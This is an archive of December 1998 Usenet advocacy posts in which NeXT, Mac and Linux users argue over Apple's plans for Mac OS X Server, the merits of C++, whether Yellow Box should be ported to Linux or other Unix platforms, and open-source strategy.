The one person I know at Apple from the old NeXT team
believes the marketeers have killed OSXS. But maybe that's
just frustration.
-Bill
--
Bill Smith, BYU mathematics dept. ph. 378-2061, fax 378-3703
email: smithwNOSPAM@NOSPAM.math.byu.edu Remove NOSPAM for legitimate mail
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple's OS X Server web page hidden?
Date: 10 Dec 1998 02:12:14 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <74nalu$cad@dfw-ixnews8.ix.netcom.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca> <74mnbq$hfo@shelob.afs.com> <74mre3$3aa$1@your.mother.com>
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> Greg Anderson wrote in message
> >Anyway, you're reading waaaaay too much into what I wrote.
> >I was simply stating a fact: Aside from standard developer mailings
> >that everyone gets -- and which never mention OSXS anymore --
> I think the de-emphasizing of OS X Server is now going beyond the
> mailings.
> About once or twice a week I hit Apple's developer page at
> http://www.apple.com/developer/
> and then usually hit the MacOS X Server page from there by (what I think
> I remember) selecting MacOS X Server from "Resources by Platform" pull
> down menu.
> Today I could not find the "Server" version mentioned and had to go
> directly to the full "MacOS X" page first. Only from there could I hit
> the MacOS X *Server* page.
> It could be my fogged brain, but then again...
The other day I noticed it had been completely redesigned and
new stuff added.
Message-ID: <366E2147.CA73B3D2@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com> <366C5B85.197654B0@ericsson.com> <74jqiu$809$1@nnrp1.dejanews.com> <366D7417.CEA29D76@trilithon.com> <366D78FD.5413@earthling.net>
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NNTP-Posting-Date: Wed, 09 Dec 1998 02:03:05 EDT
Date: Tue, 08 Dec 1998 23:05:43 -0800
steve mcadams wrote:
* Henry McGilton wrote:
* * Charles Swiger wrote:
* * * Are you confused, or do you remember what I (and
* * * most other people around here, for that matter)
* * * think of C++?
* * If C is Cocaine, C++ is Crack.
* Interesting metaphor Henry, but does it mean you really like it,
* or really hate it?
To me, C++ is a collection of 'features', each 'feature' being
'designed' to fix the problems introduced by the previous
'feature', which in turn had to be created as a 'solution'
to the 'feature' before that, and so on.
* Personally I think C++ is a fine development language if you
* can get it unhooked from enough of the awful libraries it
* usually comes with and live with some of its silly restrictions,
Wonderful. C++ is a fine development language if you can
get rid of the baggage, plus put up with its idiosyncrasies,
and so on . . . Kind of like using Windows NT as a
development environment --- great as long as you can stand NT.
* while C is a fine development language that you can get the job
* done with if you apply sufficient elbow-grease
No argument there, although I've basically quit using C lately,
much like I quit using assembler language eighteen years ago.
* (although if you're really leveraging code you'll find yourself
* using object-oriented techniques).
Yep --- I'm hacking Java these days and am really cranking
out the functionality . . .
Every time I collided with C++ I was amazed at how complicated and
cryptic it was even for the tiniest amounts of code. I went for an
interview at a small company five years ago. I was coming
from a NextStep background; they were C++ hackers. I demoed my
LabelWorks app. They quizzed me about the code. They asked me about
my class hierarchy, for example. So I described my class hierarchy.
They simply could not grok the notion that all my classes were somehow
subclasses of Object --- they wanted to see class hierarchies all over
the place. At the end of the interview process, I could see from
their expressions that they did not believe that I had created the
application that I was showing them --- my answers to their questions
were too weird.
I worked on the OpenStep port to Slowlaris. A small portion of
HeaderViewer is written in C++. I spent more time understanding and
debugging that one small part of the application than I spent on the
rest of the application in total.
My experience with C++, while minimal, has been a completely
negative experience, starting from reading Barney JockStrap's
original papers on the subject way back when.
........ Henry
--
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple's OS X Server web page hidden?
Date: 10 Dec 1998 02:24:32 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <74nbd0$cad@dfw-ixnews8.ix.netcom.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <74m666$fuj@shelob.afs.com> <913230061.688099@watserv4.uwaterloo.ca> <74mnbq$hfo@shelob.afs.com> <74mre3$3aa$1@your.mother.com>
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> Today I could not find the "Server" version mentioned and had to go
> directly to the full "MacOS X" page first. Only from there could I hit
> the MacOS X *Server* page.
> It could be my fogged brain, but then again...
Seems like a logical arrangement to me.
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 02:33:20 GMT
Organization: Airnews.net! at Internet America
Message-ID: <6974BBE9B38E66AD.D43DCCBE2D41C521.8A493699EF7158F8@library-proxy.airnews.net>
References: <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982252120001@news> <366E230B.549068DF@trilithon.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Wed Dec 9 20:23:00 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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On Tue, 08 Dec 1998 23:13:15 -0800, Henry McGilton
<henry@trilithon.com> wrote:
<snip>
> * so there will be no free YB software for linux
>Non sequitur . . .
> * and linux users hate paying for software.
>Let them eat Free BSD.
> * They prefer to do things the hard way.
>That's why they're using Linux. If they really want to do things
>the hard way they should move to Windows 95.
A thought just occured to me--
What if Apple did this...once OSX is out and about, slowly introduce
Apple PCs (with the new AMD K7, maybe?) that were running it. Apple
wouldn't put any form of Windoze on the machines, but consumers would
install that on the machines if they later so wish. That might be the
Hail Mary Pass that ulimately allows Apple to stay around long enough
to benefit from Home Area Networks awaiting niffty-neato risc-based
Net Appliances. Using the AMD K7, which I hear is going to kick the
PII's arse when it comes out in '99, would allow Apple to avoid both
Win and Tel. 8-)
-l: a guy can dream, can't he?
Also, if Yellow Box were open sourced, what effect would that have
upon OSX? Could you open source YB and make money by the increased
number of apps for OSX?
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Thu, 10 Dec 1998 02:25:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74nbet$9jl$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <366E8F49.AFB47B04@nstar.net>
In article <366E8F49.AFB47B04@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>> Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
>> responding would use YB for Linux, but would not use YB on MOXS, that would
>> suggest to Apple that there's a large potential market.
>
> Ah. Wouldn't that be a matter of *your* opinion? What happened to the
> market studies, the cost-benefit papers, the management review?
You're simply being obtuse. I'm sure I can find other ways of wasting my time
which are far more entertaining.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 03:56:27 GMT
Organization: Primenet (602)416-7000
Message-ID: <74ngpb$qj4$1@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net> <74k742$1fk$1@murdoch.acc.Virginia.EDU> <F3o8Mr.17D@T-FCN.Net>
<366F09C7.47209D76@ericsson.com> <74n4f3$12hu4@odie.mcleod.net> <anarkhos-ya02408000R0912981652250001@news>
strobe <anarkhos@anarchism.orgy> wrote:
: I don't see what this has to do with this thread. That being said, has
: Sun said anything about OpenStep since Java? I think Sun realizes (if they
: don't they are fools) that Java is more valuable for use in middleware, and
: the more it plugs into existing frameworks the better. Certainly Sun has
: more to gain from YB support than Microsoft rewriting Java.
Sun has moved to a more open position with their source:
http://java.sun.com/pr/1998/12/pr981208-01.html
Compare and contrast,
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:01:16 GMT
Organization: Primenet (602)416-7000
Message-ID: <74nh2c$qj4$2@nnrp02.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net> <74k742$1fk$1@murdoch.acc.Virginia.EDU> <F3o8Mr.17D@T-FCN.Net>
<366F09C7.47209D76@ericsson.com> <74n4f3$12hu4@odie.mcleod.net> <anarkhos-ya02408000R0912981652250001@news> <74ngpb$qj4$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
: strobe <anarkhos@anarchism.orgy> wrote:
: > That being said, has Sun said anything about OpenStep since Java?
: Sun has moved to a more open position with their source:
Ooops ... I crossed my eyes and thought you were asking about "OpenSource
Java".
My mistake.
John
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:31:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niq7$but@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242> <anarkhos-ya02408000R0812982257100001@news> <Dipb2.601$L52.156@news.rdc1.ne.home.com> <anarkhos-ya02408000R0912980010370001@news>
On Wed, 09 Dec 1998 00:10:37 -0800, strobe <anarkhos@anarchism.orgy> wrote:
>The question was if Linux users would pay for YB
>applications, I gather NOT!
Based on what? Others have pointed to commercial Linux products that are
selling, can you point to something to that would lead you to think that
Linux users aren't going to pay for software?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:31:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niq8$but@news1.panix.com>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost>
On 9 Dec 98 18:05:27 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> If I could run YB on Linux at no cost, I can not think of anything that
>> is going to get me to buy Apple hardware. If running YB on Mac hardware
>> was more cost effective than running it on PC hardware, then I might be
>> much more motivated to buy a Mac.
>
>You kinda answered your own question here. :-)
>
>Picture a scenario where YB apps start mushrooming thanks largely to
>the Linux port.
Why would I want to run them on Apple hardware or an Apple OS if YB
on Linux is free?
> You could download YB for Linux for free alright. Or
>you could buy Apple-branded YB package for Linux a la Red Hat, with
>installation support and all.
Why do I care if that Apple Unix package is running on Linux or Mach
if I am buying it to run YB Apps?
> You get an improved Linux experience
>right away, and it only gets better after getting/buying more YB
>apps...
And my going out and buying YB Apps from 3rd parties to run on a
free YB system running on a free OS will make money for Apple?
>Now enter PowerMacs. Ideally (and this is something where Apple can
>help) these PowerPC-based systems became supported out-of-the-box by
>the popular Linux distributions in which case PowerMacs would become
>equal competitors to Intel-boxes.
And Linux would in what way lower the cost of PowerMacs? (Seeing that
the real difference is the price, not the OS)
> Compatibility and planned-obsoletion
>issues removed the sale would go to the better box. It'd be upto Apple
>to price the G4/AltiVec boxes to move.
Why do I care if the OS running YB on PowerPC is based on Linux or on
Mach/BSD? For all I care there could be a hamster running around in
a wheel.
I would be buying it for YB, not the gunk underneath it that holds it
up.
>Whether the customer wants "good enough" or "excellent" Apple would
>have something to offer; both Apple's hardware and software would
>become relevant to the general public again.
The general public is woefully underqualified to judge the difference
between "good enough" and "excellent" in just about _any_ market, let
alone operating systems.
Apple will be more relevant to the general public only if they can
demonstrate that they are able to build innovative products at prices
that fall in line with the market.
To quote Jim Waldo of Sun "The general public doesn't give a fuck about
operating systems and hardware platforms. And if you don't believe it,
just look at the one they buy."
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 10 Dec 1998 04:31:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niqb$but@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74mb9n$535$1@inconnu.isu.edu>
On 9 Dec 1998 10:16:39 -0700, Craig Kelley <ink@inconnu.isu.edu> wrote:
>In article <74l1bv$i65@news1.panix.com>, Sal Denaro <sal@panix.com> wrote:
>->Prior to being opensourced, Netscape had a large following on
>->Linux. The only thing that changed after was that a number of
>->opensource browser projects were killed due to lack of interest.
>
>... that and the incredibly small, efficient NGlayout engines for
>different Linux graphical libraries (and every other OS under the
>sun). We're talking about < 1MB versions of Netscape that support
>XML, HTML 4.0 and everything but Java that loads FAST and spits out
>web pages VERY FAST.
>
>Nobody has seen a finished product of Netscape's opensource
>(www.mozilla.com) campaign yet, so how can YOU comment on its effect
>on the Linux community?
The same way other can comment that going opensource has saved Netscape.
What I pointed out was that going OS has not increased Netscape's
marketshare.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 10 Dec 1998 04:31:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niqa$but@news1.panix.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com> <74m2n1$ndr$2@nnrp03.primenet.com>
On 9 Dec 1998 14:50:09 GMT, John Jensen <jjens@primenet.com> wrote:
>Sal Denaro <sal@panix.com> wrote:
>: On Tue, 08 Dec 1998 17:51:59 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
>: >Doing that is the only thing that stands between Apple and oblivion.
>: >They still have time to be the Netscape of Linux.
>
>: The problem is that even Netscape isn't the Netscape of Linux.
>
>: Making NS opensource has not helped Netscape gain market share.
>
>How can we be sure it didn't help? It certainly generated a lot of buzz
>and good press at a difficult time for Netscape.
IE continued to gain marketshare as Netscape lost marketshare.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Date: 10 Dec 1998 04:31:08 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niqc$but@news1.panix.com>
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr> <74h6mj$f2j$1@your.mother.com> <74id46$cvu$1@news.digifix.com> <74jgqe$gfj$1@nnrp03.primenet.com> <74l1c2$i65@news1.panix.com> <74m5nh$pl7$1@nnrp03.primenet.com>
On 9 Dec 1998 15:41:37 GMT, John Jensen <jjens@primenet.com> wrote:
>If true - this is a sad state of affairs, and if true - I hope that the
>next imaging model is not Adobe controlled.
Only in it being based on an Adobe product (PDF) and an Adobe imaging
standard (PS)
None of the code will be from Adobe.
>But don't worry. Revolution is alive and well at Apple. I hear that the
>high-end comptuters will soon be translucent!
Will they look like the Apple studio display or like the iMac?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:31:02 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niq6$but@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost> <74l0tt$i44@news1.panix.com> <FIiROLCWddLd-pn2-i9woQjITKjdN@localhost>
On 9 Dec 98 11:28:22 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>> >Linux has become a strategically important platform which isn't under
>> >any competitor's control - a port would IMO be natural choice.
>>
>> I don't see this at all.
>>
>> If Apple decides to do a port of YB to another platform (and the best
>> time to decide to do this is after OSX and the free YB runtime for Windows
>> ships) the best platforms would be Solaris and HP/UX. As it stands now,
>> FoundationKit, WOF and EOF all run on Solaris and HP/UX (they come with
>> WebObjects for those platforms). Building a full YB on those platforms,
>> currently used by existing WO customers, makes a lot more sense to me
>> than starting a port on Linux.
>
>Are the volumes and future momentum of these two platforms - Solaris
>and HP/UX - sufficient for Apple to pay for YB ports to those
>platforms?
No, but there are sales on WebObjects on both platforms, in the normaly
Apple-hostile enterprise market that would pay for the port. I'm willing
to bet that customers running WO on HP/UX and Solaris might like it a
lot better if it was running on a full YB so the dev tool and admin tools
can run on the same machine, with the same UI that is provided on NT
and OpenStep boxes.
>If YB for Linux became available, would the users of these
>two OSes seriously consider running Linux on their hardware instead?
>(I have seen quite a few stories to that effect already, in fact)
People don't switch server OS products at the drop of a hat (at least
in the enterprise market) And I very much doubt that Apple can tell
existing WO customers to switch to Linux any more than they can tell
them to switch to OSX.
>Also, Linux port would help Apple's own hardware gain acceptability
>among the growing ranks of Linux users; one can't say the same of
>these prorietary OSes.
If I could run YB on Linux on lower cost hardware than Apple provides,
why would I want to run anything on Apple hardware? I don't buy the
"it will give you a better overall user experience" line; that has been
try of Apple hardware vs PC hardware throughout most of the early days
on Win3.x on to Win95 and Apple's market share went down.
> I'm not saying Apple should, or could,
>blackmail HP or Sun with huge porting fees like Microsoft did with
>NT/PPP, Apple couldn't do that even if they tried. But to pay for the
>cost of porting only would IMO be fair. If Apple can do it for free,
>that's fine too, but it shouldn't happen at Linux port's expense.
If anything, YB on Solaris and HP/UX would make a Linux port a lot
more likely. If I were looking at a business plan for building a
YB for Solaris to sell to existing WO customers as well as expanding
that customer base; and a business plan for building a YB for Linux
to sell to a new customer base that may or may not care to pay for
it; and I had to pick _one_, would pick Solaris over Linux.
If at some point it was possible to fund YB port to other platforms,
making a case to port to Linux would be a lot easier if a Solaris
and HP/UX port was already done.
>> That would eliminate all other platforms. Do you think Sun would pay
>> Apple to port a product that would compete with it's Java plans just
>> to get a few Apps ported?
>You scratch my back and I'll scratch yours. There are more ways to pay
>than greenbacks.
I doubt very much that either HP or Sun care about YB at the point. The
only way I can think of that HP or Sun might help Apple do a port is
if Apple gives them QuickTime in exchange.
>marching forward and into the consumer territory without much
>resistance. Yellow Box and Java, together or separate, can either
>fight it or ride it. Given open enough licencing schemes, they can
>make Microsoft's proprietary forced-upgrade-driven model obsolete in
>as few as five years (my layman's estimate).
I don't buy the "this town ain't big enough for the two of us" logic.
Are you saying that there is only room for _one_ os; _one_ API and
_one_ GUI in the future? Why can't Java, YB and Linux all gain market
share and have a future?
>> I can't think of any commercial product that grew market share by going
>> OpenSource.
>Navigator/Communicator?
...lost marketshare even after it went opensource.
>licensing issues have been solved. I could see huge benefits if the
>Yellow Box innards were opened up to scrutiny and innovation by much
>larger number of eyeballs. The trick is in figuring out a license that
>both encourages participation and discourages splintering. The more YB
>is adopted, the better changes WebObjects, or a PowerMac, has of
>making a sale.
I think making the source available to developers would be good as well,
I just don't think it makes sense for Apple to port the UI, Tools and
overall "look and feel" to other platforms where it would devalue those
tools running on the native OSX platform.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:33:01 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74nitt$bvl@news1.panix.com>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost> <anarkhos-ya02408000R0912981528050001@news>
On Wed, 09 Dec 1998 15:28:05 -0800, strobe <anarkhos@anarchism.orgy> wrote:
>> Picture a scenario where YB apps start mushrooming thanks largely to
>> the Linux port.
>
> BWAHAHAHAHAHHAHAHAHAHAHAHAHAHHAHAHA
>
> Let's see, there are many (actually the large majority) of commercial
>applications in WINDOWS. I can certainly picture a scenario of a FEW
>windows developers using yellow box. Linux? gimmie a break
And you base this on what?
Most of the Linux users I know are either sysadmins of programmers. I would
think that they would be much more likely to write software than the average
Windows user.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:33:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niup$bvn@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost>
On 9 Dec 98 18:05:19 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
>And of course, YB for Linux commercial packages with Apple Seal Of
>Approval And Compatibility.
And what is the difference between an Apple version of Linux running
YB and an Apple version of BSD (based on the OpenSourced BSD4.4 code
that is also using in FreeBSD/NetBSD and OpenBSD (as well as BSDI,
AIX and a few other Unix OS products)) running YB?
Is the ability to point to your box and say it is running Linux more
important than the ability to point to your box and say that it running
an open standards based Unix OS?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:31:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74niq9$but@news1.panix.com>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost> <anarkhos-ya02408000R0912981528050001@news> <366F0A9D.DEA227D5@ericsson.com>
On Wed, 09 Dec 1998 17:41:17 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>Picture a scenario wherein Lawson and I suddenly get a little bit more
>respect while this guy keeps posting...
>...and then back to the normal cheap jabs. Can't wait :-)
I think I speak for everyone on CSNA when I say that no one objects to you
(or anyone else for that matter) voicing opinions; they only object to the
*way* you choose to do so.
You would gain a lot more respect (and Lawson as well) if you refrained from
name calling, shifting goal posts and put in some attempt to back up your
speculations with some modicum of fact.
And at the very least, stop posting incorrect and misleading information
after being corrected several times.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 10 Dec 1998 04:32:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74nits$bvl@news1.panix.com>
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com> <74l978$9d$1@fir.prod.itd.earthlink.net>
On Wed, 9 Dec 1998 00:36:17 -0700, chris black <c@c.com> wrote:
>Sal Denaro wrote in message <74l0u0$i44@news1.panix.com>...
>>It looks like a fair number of grannies are buying iMacs.
>Yikes.. I'm picturing my granny grimacing in arthritic pain trying to
>manipulate the unusable iMac micromouse,
Odd, My grandmother's hands are about the same size as the hands of my
11 year old cousin. But then again, my grandmother is very much the
stereotypical little old Italian grandmother.
As for arthritic pain, no computer is going to be easy to use; nor any
mouse comfortible when your hands hurt. My mother uses one of those
"big button" telephones for that reason. (She can dial the phone with
a knuckle.)
Personally, I find the iMac mouse to be _way_ too small and the shape
to be ___WAY___ to awkward. People with smaller hands tend to find it
much more comfortable.
>and unbending paperclips to stick
>into the tiny holes in the case.
And PCs are immune to problems? Those cords are real easy to set up and
to untangle? Other than home built and "whitebox" PCs, few seem to have
reset switches, and those tend to be Mini-tower boxes. It might be a real
pain for Grandma to bend down and fish for a reset switch under the desk.
> Now I'm picturing her using her iMac as a
>$1299 bondi blue flower planter. "Look sonny, you can see the roots through
>the case!"
Maybe she'll knit a little sweater for it?
I wonder what percent of VCRs in homes of people over 50 are flashing 12:00
right now?
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 10 Dec 1998 04:34:17 GMT
Organization: Digital Fix Development
Message-ID: <74nj09$bfn$1@news.digifix.com>
